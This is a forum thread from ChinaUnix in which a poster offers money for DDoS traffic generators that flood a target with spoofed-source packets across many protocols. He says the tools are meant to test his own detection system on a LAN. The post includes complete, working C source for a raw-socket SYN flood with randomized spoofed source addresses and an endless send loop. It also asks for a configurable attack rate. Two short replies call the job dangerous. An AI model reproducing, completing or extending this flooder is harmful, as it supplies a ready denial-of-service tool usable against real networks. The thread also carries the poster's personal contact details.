免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 4192 | 回复: 3
打印 上一主题 下一主题

800元请高手帮我写几个DDOS测试程序,我自己有以前的一个SYN攻击的测试例子,有源代码 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2012-05-21 14:12 |只看该作者 |倒序浏览
本帖最后由 kingjwj 于 2012-05-21 16:24 编辑

在LINUX环境下,本人以前做了一个检测DDOS的系统,现在要做一个DDOS的流量生成的软件,用来测试之前的系统是否能够成功检测。注意:所有下面的测试都只需要在局域网内完成即可。
检测类型两种,一种是DDOS攻击(就是伪造大量源IP,目的IP自己指定(局域网内一个IP),填充数据包,再不停发送出去,产生大量流量),这种DDOS攻击,我又分成了很多细分的类型,主要根据协议种类(SYN、FIN、ICMP、HTTP、FTP、UDP、TELNET、SMTP等,SYN和FIN类型的DDOS攻击,已经完成,以前写的攻击程序还能用,就是把TCP协议标志位的SYN设置为1,就是产生了SYN包,后面会附上模拟SYN类型数据包的DDOS攻击源代码)
另外一种是PROBE攻击,(就是伪造大量目的IP,源IP自己指定(局域网内一个IP),填充数据包,再不停发送出去,产生大量流量),同样需要模拟各种协议类型的数据包,SYN、FIN、ICMP、HTTP、FTP、UDP、TELNET、SMTP等。
只要你能够实现对应的程序,在我的LINUX下,可以编译通过,执行之后我的DDOS系统能够检测出来,那么我会支付一定的费用,因为考虑代码实现的流程都是类似的,全部完成的费用是500元。
联系我的QQ:404401552
电话:15957981011
最后附上模拟SYN流量的数据包生成与发送的源代码:(高手应该很容易实现的,我只是以前熟悉,太久没接触了,现在没心思去研究了,另外我提供的这个源码,对攻击速度是没有控制的,我记得以前还实现过模拟流量攻击是可以自己制定速度的,比如命令行第三个参数是3000,就是意味着每秒产生3000个攻击流量,如果这样实现的话,最好了)
此任务非常着急,2天内有限,如果费用500元不够,可以追加,多谢各位老大了!

#include "sys/socket.h"
#include "netinet/in.h"
#include "netinet/ip.h"
#include "netinet/tcp.h"
#include "stdlib.h"
#include "errno.h"
#include "unistd.h"
#include "stdio.h"
#include "netdb.h"

#define SRCPORT 80
#define DSTPORT 5183

struct prseuheader
{
unsigned long s_addr;
unsigned long d_addr;
unsigned char zero;
unsigned char prototp;
unsigned short len;
};

void send_tcp(int sockfd, struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr, int len);

int main(int argc, char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on = 1;

if (argc != 2) {
fprintf(stderr, "Usage:%s hostname\n\a", argv[0]);
exit(1);
}
bzero(&addr, sizeof(struct sockaddr_in));

addr.sin_family = AF_INET;
addr.sin_port = htons(SRCPORT);

if (inet_aton(argv[1], &addr.sin_addr) == 0) {
host = gethostbyname(argv[1]);
if (host == NULL) {
fprintf(stderr, "HostName Error:%s\n\a", hstrerror(h_errno));
exit(1);
}
addr.sin_addr = *(struct in_addr *) (host->h_addr_list[0]);
}

//创建一个TCP的原始套接字
sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sockfd < 0) {
fprintf(stderr, "Socket Error:%s\n\a", strerror(errno));
exit(1);
}

//设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

//只用超级护用户才可以使用原始套接字
setuid(getpid());

send_tcp(sockfd, &addr);

return 0;
}

void send_tcp(int sockfd, struct sockaddr_in *addr)
{
while (1)
{
char buffer[100];
char tcpbuff[32];
struct ip *ip;
struct tcphdr *tcp;
struct prseuheader theheader;
int head_len;

head_len = sizeof(struct ip) + sizeof(struct tcphdr);
memset((void*)buffer,'\0',100) ;

//填充IP数据包头
ip = (struct ip *) buffer;
ip->ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip) >> 2;
ip->ip_tos = 0;
ip->ip_len = htons(head_len);
ip->ip_id = 0;
ip->ip_off = 0;
ip->ip_ttl = MAXTTL;
ip->ip_p = IPPROTO_TCP;
//校验和让系统去做
ip->ip_sum = 0;
ip->ip_dst = addr->sin_addr;

//开始填写TCP数据包
tcp = (struct tcphdr *) (buffer + sizeof(struct ip));
tcp->source = htons(DSTPORT);
tcp->dest = addr->sin_port;
tcp->ack_seq = 0;
tcp->doff = 5;
//syn置位
tcp->syn = 1;
tcp->check = 0;
tcp->seq = random();
//随机生成源地址
ip->ip_src.s_addr = random();

//填充伪头部
theheader.s_addr = ip->ip_src.s_addr;
theheader.d_addr = ip->ip_dst.s_addr;
theheader.zero = 0;
theheader.prototp = IPPROTO_TCP;
theheader.len = htons(20);

memset((void*)tcpbuff,'\0',32);

memcpy(tcpbuff,&theheader,12);
memcpy(tcpbuff+12,tcp,20);

//注意:tcp的校验和必须计算伪头部
tcp->check = check_sum((unsigned short *) tcpbuff, 32);

sendto(sockfd, buffer, head_len, 0, addr, sizeof(struct sockaddr_in));
usleep(1);
}
}

unsigned short check_sum(unsigned short *buffer, int size)
{
unsigned long cksum = 0;

while(size>1)
{
cksum += *buffer++;
size -= sizeof(unsigned short);
}

if(size)
{
cksum += *(unsigned char*)buffer;
}

cksum = (cksum>>16) + (cksum&0xffff); //将高16bit与低16bit相加
cksum += (cksum>>16); //将进位到高位的16bit与低16bit 再相加

return (unsigned short)(~cksum);
}

论坛徽章:
0
2 [报告]
发表于 2012-05-21 16:25 |只看该作者
加钱了,加到800元,高手应该很简单的事情吧
帮帮我吧
非常感谢了。
代码结构可以乱一点都没关系,只要能运行出来结果,小弟课题结题,需要测试程序进行测试

论坛徽章:
59
2015年亚洲杯之约旦
日期:2015-01-27 21:27:392015年亚洲杯之日本
日期:2015-02-06 22:09:41拜羊年徽章
日期:2015-03-03 16:15:432015年辞旧岁徽章
日期:2015-03-03 16:54:152015年迎新春徽章
日期:2015-03-04 09:50:282015元宵节徽章
日期:2015-03-06 15:50:392015年亚洲杯之阿联酋
日期:2015-03-19 17:39:302015年亚洲杯之中国
日期:2015-03-23 18:52:23巳蛇
日期:2014-12-14 22:44:03双子座
日期:2014-12-10 21:39:16处女座
日期:2014-12-02 08:03:17天蝎座
日期:2014-07-21 19:08:47
3 [报告]
发表于 2012-05-21 16:36 |只看该作者
this job seems danger

论坛徽章:
0
4 [报告]
发表于 2012-06-04 19:01 |只看该作者
very danger
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP